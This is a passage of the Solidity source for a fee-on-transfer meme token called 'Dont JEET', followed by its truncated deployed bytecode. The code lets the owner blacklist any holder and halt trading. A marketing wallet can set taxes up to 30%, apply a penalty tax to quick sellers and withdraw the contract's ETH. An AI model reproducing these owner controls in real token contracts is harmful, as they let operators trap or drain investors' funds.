SELLERS 25% WHO SELL WITHIN 48 HOURS (13% marketing + 12% holders redistribution) if (to == uniswapV2Pair && from != address(uniswapV2Router)) { if (_buyMap[from] != 0 && (_buyMap[from] + timeJeets >= block.timestamp)) { _redisFee = _redisFeeJeets; _taxFee = _taxFeeJeets; } else { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } } _tokenTransfer(from, to, amount, takeFee); } function burnTokens(uint256 burntAmount) private { _transfer(address(this), deadAddress, burntAmount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } // Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external { require(_msgSender() == _marketingAddress); _swapTokensAtAmount = swapTokensAtAmount; } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; launchTime = block.timestamp; } function setIsMaxBuyActivated(bool _isMaxBuyActivated) public { require(_msgSender() == _marketingAddress); isMaxBuyActivated = _isMaxBuyActivated; } function manualswap(uint256 amount) external { require(_msgSender() == _marketingAddress); require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount"); swapTokensForEth(amount); } function addSniper(address sniper) external onlyOwner { _isSniper[sniper] = true; } function removeSniper(address sniper) external onlyOwner { if (_isSniper[sniper]) { _isSniper[sniper] = false; } } function isSniper(address sniper) external view returns (bool){ return _isSniper[sniper]; } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external { require(_msgSender() == _marketingAddress); require(maxTxAmount >= 69e18 * 10**9, "Maximum transaction amount must be greater than 0.1%"); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) external { require(_msgSender() == _marketingAddress); _maxWalletSize = maxWalletSize; } function setTaxFee(uint256 amountBuy, uint256 amountSell) external { require(_msgSender() == _marketingAddress); require(amountBuy >= 0 && amountBuy <= 30); require(amountSell >= 0 && amountSell <= 30); _taxFeeOnBuy = amountBuy; _taxFeeOnSell = amountSell; } function setJeetsFee(uint256 amountRedisJeets, uint256 amountTaxJeets) external { require(_msgSender() == _marketingAddress); require(amountRedisJeets >= 0 && amountRedisJeets <= 30); require(amountTaxJeets >= 0 && amountTaxJeets <= 30); _redisFeeJeets = amountRedisJeets; _taxFeeJeets = amountTaxJeets; } function setBurnFee(uint256 amount) external { require(_msgSender() == _marketingAddress); require(amount >= 0 && amount <= 30); _burnFee = amount; } function setTimeJeets(uint256 hoursTime) external { require(_msgSender() == _marketingAddress); require(hoursTime >= 0 && hoursTime <= 200); timeJeets = hoursTime * 1 hours; } function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external { require(_msgSender() == _marketingAddress); require(amountRefBuy >= 0 && amountRefBuy <= 30); require(amountRefSell >= 0 && amountRefSell <= 30); _redisFeeOnBuy = amountRefBuy; _redisFeeOnSell = amountRefSell; } }
0x6080604052600436106102295760003560e01c806374010ece1161012357806398a5c315116100ab578063dd62ed3e1161006f578063dd62ed3e146107da578063e0f9f6a014610817578063ea1644d514610840578063f2fde38b14610869578063fe72c3c11461089257610230565b806398a5c315146106f95780639ec350ed146107225780639f1315711461074b578063a9059cbb14610774578063c5528490146107b157610230565b8063881dce60116100f2578063881dce60146106265780638da5cb5b1461064f5780638f70ccf71461067a5780638f9a55c0146106a357806395d89b41146106ce57610230565b806374010ece1461057c57806375f0a874146105a5578063790ca413146105d05780637d1db4a5146105fb57610230565b806333251a0b116101b15780636b9cf534116101755780636b9cf534146104bd5780636d8aa8f8146104e85780636fc3eaec1461051157806370a0823114610528578063715018a61461056557610230565b806333251a0b146103ee57806338eea22d146104175780633e3e95981461044057806349bd5a5e146104695780634bf2c7c91461049457610230565b806318160ddd116101f857806318160ddd1461030557806323b872dd1461033057806327c8f8351461036d5780632fd689e314610398578063313ce567146103c357610230565b806306fdde0314610235578063095ea7b3146102605780630f3a325f1461029d5780631694505e146102da57610230565b3661023057005b600080fd5b34801561024157600080fd5b5061024a6108bd565b6040516102579190613a14565b60405180910390f35b34801561026c57600080fd5b506102876004803603810190610282919061357e565b6108fa565b60405161029491906139de565b60405180910390f35b3480156102a957600080fd5b506102c460048036038101906102bf9190613491565b610918565b6040516102d191906139de565b60405180910390f35b3480156102e657600080fd5b506102ef61096e565b6040516102fc91906139f9565b60405180910390f35b34801561031157600080fd5b5061031a610994565b6040516103279190613c56565b60405180910390f35b34801561033c57600080fd5b506103576004803603810190610352919061352b565b6109aa565b60405161036491906139de565b60405180910390f35b34801561037957600080fd5b50610382610a83565b60405161038f91906139c3565b60405180910390f35b3480156103a457600080fd5b506103ad610a89565b6040516103ba9190613c56565b60405180910390f35b3480156103cf57600080fd5b506103d8610a8f565b6040516103e59190613ccb565b60405180910390f35b3480156103fa57600080fd5b5061041560048036038101906104109190613491565b610a98565b005b34801561042357600080fd5b5061043e60048036038101906104399190613618565b610bdb565b005b34801561044c57600080fd5b5061046760048036038101906104629190613491565b610c84565b005b34801561047557600080fd5b5061047e610d74565b60405161048b91906139c3565b60405180910390f35b3480156104a057600080fd5b506104bb60048036038101906104b691906135eb565b610d9a565b005b3480156104c957600080fd5b506104d2610e20565b6040516104df9190613c56565b60405180910390f35b3480156104f457600080fd5b5061050f600480360381019061050a91906135be565b610e26565b005b34801561051d57600080fd5b50610526610ed8565b005b34801561053457600080fd5b5061054f600480360381019061054a9190613491565b610f4a565b60405161055c9190613c56565b60405180910390f35b34801561057157600080fd5b5061057a610f9b565b005b34801561058857600080fd5b506105a3600480360381019061059e91906135eb565b6110ee565b005b3480156105b157600080fd5b506105ba6111a8565b6040516105c791906139c3565b60405180910390f35b3480156105dc57600080fd5b506105e56111d2565b6040516105f29190613c56565b60405180910390f35b34801561060757600080fd5b506106106111d8565b60405161061d9190613c56565b60405180910390f35b34801561063257600080fd5b5061064d600480360381019061064891906135eb565b6111de565b005b34801561065b57600080fd5b506106646112a2565b60405161067191906139c3565b60405180910390f35b34801561068657600080fd5b506106a1600480360381019061069c91906135be565b6112cb565b005b3480156106af57600080fd5b506106b8611384565b6040516106c59190613c56565b60405180910390f35b3480156106da57600080fd5b506106e361138a565b6040516106f09190613a14565b60405180910390f35b34801561070557600080fd5b50610720600480360381019061071b91906135eb565b6113c7565b005b34801561072e57600080fd5b5061074960048036038101906107449190613618565b611432565b005b34801561075757600080fd5b50610772600480360381019061076d91906135be565b6114db565b005b34801561078057600080fd5b5061079b6004803603810190610796919061357e565b611559565b6040516107a891906139de565b60405180910390f35b3480156107bd57600080fd5b506107d860048036038101906107d39190613618565b611577565b005b3480156107e657600080fd5b5061080160048036038101906107fc91906134eb565b611620565b60405161080e9190613c56565b60405180910390f35b34801561082357600080fd5b5061083e600480360381019061083991906135eb565b6116a7565b005b34801561084c57600080fd5b50610867600480360381019061086291906135eb565b61173a565b005b34801561087557600080fd5b50610890600480360381019061088b9190613491565b6117a5565b005b34801561089e57600080fd5b506108a7611967565b6040516108b49190613c56565b60405180910390f35b60606040518060400160405280600981526020017f446f6e74204a4545540000000000000000000000000000000000000000000000815250905090565b600061090e61090761196d565b8484611975565b6001905092915050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006d0366e7064422fd84202340000000905090565b60006109b7848484611b40565b610a78846109c361196d565b610a738560405180606001604052806028815260200161446d60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a2961196d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129069092919063ffffffff16565b611975565b600190509392505050565b61dead81565b601e5481565b60006009905090565b610aa061196d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2490613b76565b60405180910390fd5b600960008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610bd8576000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c1c61196d565b73ffffffffffffffffffffffffffffffffffffffff1614610c3c57600080fd5b60008210158015610c4e5750601e8211155b610c5757600080fd5b60008110158015610c695750601e8111155b610c7257600080fd5b81600d8190555080600f819055505050565b610c8c61196d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1090613b76565b60405180910390fd5b6001600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ddb61196d565b73ffffffffffffffffffffffffffffffffffffffff1614610dfb57600080fd5b60008110158015610e0d5750601e8111155b610e1657600080fd5b8060138190555050565b601f5481565b610e2e61196d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ebb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb290613b76565b60405180910390fd5b80601b60166101000a81548160ff02191690831515021790555050565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f1961196d565b73ffffffffffffffffffffffffffffffffffffffff1614610f3957600080fd5b6000479050610f478161296a565b50565b6000610f94600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129d6565b9050919050565b610fa361196d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611030576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102790613b76565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661112f61196d565b73ffffffffffffffffffffffffffffffffffffffff161461114f57600080fd5b6bdef376571332906a8800000081101561119e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119590613b36565b60405180910390fd5b80601c8190555050565b6000601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600a5481565b601c5481565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661121f61196d565b73ffffffffffffffffffffffffffffffffffffffff161461123f57600080fd5b61124830610f4a565b81111580156112575750600081115b611296576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128d90613c36565b60405180910390fd5b61129f81612a44565b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6112d361196d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611360576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135790613b76565b60405180910390fd5b80601b60146101000a81548160ff02191690831515021790555042600a8190555050565b601d5481565b60606040518060400160405280600581526020017f444a454554000000000000000000000000000000000000000000000000000000815250905090565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661140861196d565b73ffffffffffffffffffffffffffffffffffffffff161461142857600080fd5b80601e8190555050565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661147361196d565b73ffffffffffffffffffffffffffffffffffffffff161461149357600080fd5b600082101580156114a55750601e8211155b6114ae57600080fd5b600081101580156114c05750601e8111155b6114c957600080fd5b81600b8190555080600c819055505050565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661151c61196d565b73ffffffffffffffffffffffffffffffffffffffff161461153c57600080fd5b80601b60176101000a81548160ff02191690831515021790555050565b600061156d61156661196d565b8484611b40565b6001905092915050565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115b861196d565b73ffffffffffffffffffffffffffffffffffffffff16146115d857600080fd5b600082101580156115ea5750601e8211155b6115f357600080fd5b600081101580156116055750601e8111155b61160e57600080fd5b81600e81905550806010819055505050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166116e861196d565b73ffffffffffffffffffffffffffffffffffffffff161461170857600080fd5b6000811015801561171a575060c88111155b61172357600080fd5b610e10816117319190613dc2565b60198190555050565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661177b61196d565b73ffffffffffffffffffffffffffffffffffffffff161461179b57600080fd5b80601d8190555050565b6117ad61196d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461183a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183190613b76565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156118aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118a190613ab6565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60195481565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156119e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119dc90613c16565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4c90613ad6565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611b339190613c56565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611bb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba790613bb6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611c20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1790613a36565b60405180910390fd5b60008111611c63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c5a90613b96565b60405180910390fd5b600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611cf0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce790613bf6565b60405180910390fd5b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611d7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7490613bf6565b60405180910390fd5b60096000611d8961196d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611e11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e0890613bf6565b60405180910390fd5b611e196112a2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611e875750611e576112a2565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156124a557601b60149054906101000a900460ff16611edb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ed290613a56565b60405180910390fd5b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611f865750601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156120f3573073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611ff357503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561204d5750601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120a75750601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156120f257601c548111156120f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e890613a96565b60405180910390fd5b5b5b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561219f5750601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156121d757503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612211575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156122e057601d548161222384610f4a565b61222d9190613d3b565b1061226d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161226490613bd6565b60405180910390fd5b601b60179054906101000a900460ff16156122df57610708600a546122929190613d3b565b42116122de57601f548111156122dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122d490613af6565b60405180910390fd5b5b5b5b60006122eb30610f4a565b90506000601e54821190508080156123105750601b60159054906101000a900460ff16155b801561236a5750601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156123825750601b60169054906101000a900460ff165b80156123d85750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561242e5750600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156124a257600080601354111561247357612467606461245960135486612ccc90919063ffffffff16565b612d4790919063ffffffff16565b905061247281612d91565b5b61248781846124829190613e1c565b612a44565b6000479050600081111561249f5761249e4761296a565b5b50505b50505b600060019050600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061254c5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806125ff5750601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156125fe5750601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561260d57600090506128f4565b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156126b85750601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156127775742600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d54601181905550600e54601281905550600a54421415612776576001600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156128225750601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156128f3576000600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141580156128c3575042601954600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128c09190613d3b565b10155b156128df57600b54601181905550600c546012819055506128f2565b600f546011819055506010546012819055505b5b5b61290084848484612da1565b50505050565b600083831115829061294e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129459190613a14565b60405180910390fd5b506000838561295d9190613e1c565b9050809150509392505050565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156129d2573d6000803e3d6000fd5b5050565b6000600754821115612a1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a1490613a76565b60405180910390fd5b6000612a27612dce565b9050612a3c8184612d4790919063ffffffff16565b915050919050565b6001601b60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612a7c57612a7b613fad565b5b604051908082528060200260200182016040528015612aaa5781602001602082028036833780820191505090505b5090503081600081518110612ac257612ac1613f7e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612b6457600080fd5b505afa158015612b78573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612b9c91906134be565b81600181518110612bb057612baf613f7e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612c1730601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611975565b601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612c7b959493929190613c71565b600060405180830381600087803b158015612c9557600080fd5b505af1158015612ca9573d6000803e3d6000fd5b50505050506000601b60156101000a81548160ff02191690831515021790555050565b600080831415612cdf5760009050612d41565b60008284612ced9190613dc2565b9050828482612cfc9190613d91565b14612d3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d3390613b56565b60405180910390fd5b809150505b92915050565b6000612d8983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612df9565b905092915050565b612d9e3061dead83611b40565b50565b80612daf57612dae612e5c565b5b612dba848484612ebe565b80612dc857612dc7613089565b5b50505050565b6000806000612ddb6130a6565b91509150612df28183612d4790919063ffffffff16565b9250505090565b60008083118290612e40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e379190613a14565b60405180910390fd5b5060008385612e4f9190613d91565b9050809150509392505050565b6000601154148015612e7057506000601254145b8015612e7e57506000601354145b15612e8857612ebc565b6011546014819055506012546015819055506013546016819055506000601181905550600060128190555060006013819055505b565b600080600080600080612ed087613117565b955095509550955095509550612f2e86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461317f90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612fc385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131c990919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061300f81613227565b61301984836132e4565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516130769190613c56565b60405180910390a3505050505050505050565b601454601181905550601554601281905550601654601381905550565b6000806000600754905060006d0366e7064422fd8420234000000090506130e66d0366e7064422fd84202340000000600754612d4790919063ffffffff16565b82101561310a576007546d0366e7064422fd84202340000000935093505050613113565b81819350935050505b9091565b60008060008060008060008060006131348a60115460125461331e565b9250925092506000613144612dce565b905060008060006131578e8787876133b4565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006131c183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612906565b905092915050565b60008082846131d89190613d3b565b90508381101561321d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161321490613b16565b60405180910390fd5b8091505092915050565b6000613231612dce565b905060006132488284612ccc90919063ffffffff16565b905061329c81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131c990919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6132f98260075461317f90919063ffffffff16565b600781905550613314816008546131c990919063ffffffff16565b6008819055505050565b60008060008061334a606461333c888a612ccc90919063ffffffff16565b612d4790919063ffffffff16565b905060006133746064613366888b612ccc90919063ffffffff16565b612d4790919063ffffffff16565b9050600061339d8261338f858c61317f90919063ffffffff16565b61317f90919063ffffffff16565b90